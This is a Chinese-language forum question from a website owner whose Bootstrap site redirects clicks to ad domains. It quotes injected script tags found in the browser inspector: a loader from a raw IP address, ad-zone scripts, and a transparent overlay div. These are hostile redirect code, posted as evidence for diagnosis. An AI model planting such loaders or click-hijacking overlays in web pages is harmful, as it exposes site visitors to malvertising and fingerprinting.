问题:有时,在我的Bootstrap网站上单击NAVBAR菜单或任何div时,它会在新标签页中将页面重定向到广告或未知链接之类的内容,类似于以下内容:
http://cobalten.com/afu.php?zoneid=1365143&var=1492756
从托管文件导入的链接:
<link rel="stylesheet" type="text/css" href="css\bootstrap.min.css">
<script src="js/jquery.min.js"></script>
<script src="js/main.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link rel="stylesheet" type="text/css" href="css\style.css">
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Lato" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.8/css/all.css" integrity="shaxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
crossorigin="anonymous">
<script src="https://maps.googleapis.com/maps/api/js?key=xxxxxxxxxxxxxxxxxxxxxxxxxx&callback=myMap "></script>
我的检查结果:
当菜单点击没有重定向时,我多次检查了我的代码,但是没有发现可疑的东西......但是当我点击重定向链接时,在浏览器中检查我的代码,我可以清楚地看到一些脚本源添加到我的文件中(只能在浏览器的检查模式下看到)。它们没有被写入我的代码。我的代码中有未知的部分。
1)以下2个脚本正在替换头标签中的script js/jquery.min.js
<script src='//117.240.205.115:3000/getjs?nadipdata="%7B%22url%22:%22%2Fjs%2Fjquery.min.js%22%2C%22referer%22:%22http:%2F%2Famans.xyz%2F%22%2C%22host%22:%22amans.xyz%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D"&screenheight=768&screenwidth=1360&tm=1530041241377&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0' async=""></script>
<script src="http://amans.xyz/js/jquery.min.js?cb=1530041241381&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag" type="text/javascript"></script>
2) 我将谷歌API导入后,这个代码被添加到body标记中:
Translated text:2) This code is being added to the body tag after I imported the Google API:
<span id="notiMain">
<script src="//go.oclasrv.com/apu.php?zoneid=1492761" type="text/javascript">< /script>
</span>
3) 这个也在 body 标签中。
<div class="pxdouz70egp12" style="left: 0px; top: 9360px; width: 658px; height: 650px; background-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"); position: absolute; z-index: 2000; </div>
4)检查重定向链接。头信息如下:
Request URL: http://cobalten.com/apu.php?zoneid=1492761&_=1530105294644
Request Method: GET
Status Code: 200 OK
Remote Address: 188.42.162.184:80
Referrer Policy: no-referrer-when-downgrade
Cache-Control: private, max-age=0, no-cache
Connection: keep-alive
Content-Encoding: gzip
Content-Type: application/x-javascript
Date: Wed, 27 Jun 2018 13:14:57 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Pragma: no-cache
Server: nginx
Strict-Transport-Security: max-age=1
Timing-Allow-Origin: *, *
Transfer-Encoding: chunked
X-Content-Type-Options: nosniff
X-Used-AdExchange: 1
Provisional headers are shown
Referer: http://amans.xyz/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
zoneid: 1492761
_: 1530105294644
我尝试过的方法:
我的代码很干净,没有脚本将其重定向到其他地方。可能是我的浏览器或Windows系统受到了损害。我从EDGE,CHROME,FIREFOX三个浏览器中检查了网站,都有同样的问题。然后我升级到了Windows 10并进行了全新安装。但仍然没有改变。然后我想问Hostgator支持人员是否服务器被攻击了,他们回复说从他们这边看起来没问题...... 我安装了malwarebytes和所有软件来解决这个问题......但它们只是通知chrome/firefox/Edge正在将其重定向到带有一些域名的外部ID,大多数情况下是go.oclasrv.com,并没有做任何事情。
**
有什么解决办法吗???
**
更新:
我在Hostgator支持反馈链接上遇到了类似的重定向问题...
注意到,在此字符串中,域名被替换为rateus.in zoneid=1492761对于我打开的任何不安全的链接都是相同的。 同时,cb=xxxxxxxxxxxx和tm=xxxxxxxxxxx会针对不同的链接而改变,而fingerprint=c2VwLW5vLXJlZGlyZWN0对于我打开的所有链接都是相同的。
<script async="" src="//117.240.205.115:3000/getjs?nadipdata="%7B%22url%22:%22%2Fcommon%2Fjs%2Fjquery-1.7.1.js%22%2C%22referer%22:%22http:%2F%2Frateus.co.in%2Findex.php%3Fbrowse%3DHostGatorIN_Chat_HGIChatCSAT%22%2C%22host%22:%22rateus.co.in%22%2C%22categories%22:%5B0%5D%2C%22reputations%22:%5B1%5D%7D"&screenheight=768&screenwidth=1360&tm=1530191489196&lib=true&fingerprint=c2VwLW5vLXJlZGlyZWN0"></script>
<script type="text/javascript" src="http://rateus.co.in/common/js/jquery-1.7.1.js?cb=1530191489199&fingerprint=c2VwLW5vLXJlZGlyZWN0&onIframeFlag"></script>
<span id="notiMain"><script type="text/javascript" src="//go.oclasrv.com/apu.php?zoneid=1492761"></script></span>
我的操作系统已完全升级到WIN10专业版,并且我仅安装了Chrome浏览器,没有任何插件...
问题与浏览器无关,因为我在EDGE和Firefox上得到了相同的结果。
有没有JS专家可以在这里帮助我